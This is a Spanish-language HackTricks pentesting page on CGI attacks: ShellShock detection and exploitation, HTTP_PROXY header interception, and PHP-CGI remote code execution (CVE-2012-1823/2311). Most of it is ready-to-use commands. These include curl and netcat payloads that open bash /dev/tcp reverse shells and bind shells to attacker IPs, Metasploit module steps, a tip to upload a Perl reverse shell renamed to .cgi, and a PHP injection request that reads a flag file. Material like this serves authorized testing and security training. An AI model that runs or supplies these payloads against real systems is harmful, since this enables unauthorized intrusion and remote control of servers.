7 KiB
Aprende hacking en AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén la merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información
Los scripts CGI son scripts perl, por lo tanto, si has comprometido un servidor que puede ejecutar scripts .cgi puedes subir un shell inverso en perl `/usr/share/webshells/perl/perl-reverse-shell.pl`
, cambiar la extensión de .pl a .cgi, dar permisos de ejecución `chmod +x`
y acceder al shell inverso desde el navegador web para ejecutarlo.
Para probar vulnerabilidades CGI se recomienda usar nikto -C all
y todos los complementos
ShellShock
ShellShock es una vulnerabilidad que afecta al ampliamente utilizado shell de línea de comandos Bash en sistemas operativos basados en Unix. Se dirige a la capacidad de Bash de ejecutar comandos pasados por aplicaciones. La vulnerabilidad radica en la manipulación de variables de entorno, que son valores nombrados dinámicos que afectan cómo se ejecutan los procesos en una computadora. Los atacantes pueden explotar esto adjuntando código malicioso a las variables de entorno, que se ejecuta al recibir la variable. Esto permite a los atacantes potencialmente comprometer el sistema.
Explotando esta vulnerabilidad la página podría arrojar un error.
Podrías encontrar esta vulnerabilidad notando que está utilizando una versión antigua de Apache y cgi_mod con carpeta cgi
o usando nikto.
Prueba
La mayoría de las pruebas se basan en imprimir algo y esperar que esa cadena se devuelva en la respuesta web. Si crees que una página puede ser vulnerable, busca todas las páginas cgi y pruébalas.
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl (reflejado, ciego y fuera de banda)
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
Explotar
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
Proxy (MitM para solicitudes al servidor web)
CGI crea una variable de entorno para cada encabezado en la solicitud http. Por ejemplo: "host:web.com" se crea como "HTTP_HOST"="web.com"
Dado que la variable HTTP_PROXY podría ser utilizada por el servidor web. Intente enviar un encabezado que contenga: "Proxy: <IP_atacante>:<PUERTO>" y si el servidor realiza alguna solicitud durante la sesión. Podrá capturar cada solicitud realizada por el servidor.
PHP Antiguo + CGI = RCE CVE-2012-1823, CVE-2012-2311
Básicamente, si cgi está activo y php es "antiguo" <5.3.12 / < 5.4.2
se puede ejecutar código.
Para explotar esta vulnerabilidad, es necesario acceder a algún archivo PHP del servidor web sin enviar parámetros especialmente sin enviar el carácter "="
.
Luego, para probar esta vulnerabilidad, podría acceder por ejemplo a /index.php?-s
note el `-s`
y el código fuente de la aplicación aparecerá en la respuesta.
Luego, para obtener RCE puede enviar esta consulta especial: /?-d allow_url_include=1 -d auto_prepend_file=php://input
y el código PHP a ejecutar en el cuerpo de la solicitud.
Ejemplo:
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
Más información sobre la vulnerabilidad y posibles exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, Ejemplo de CTF Writeup.
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.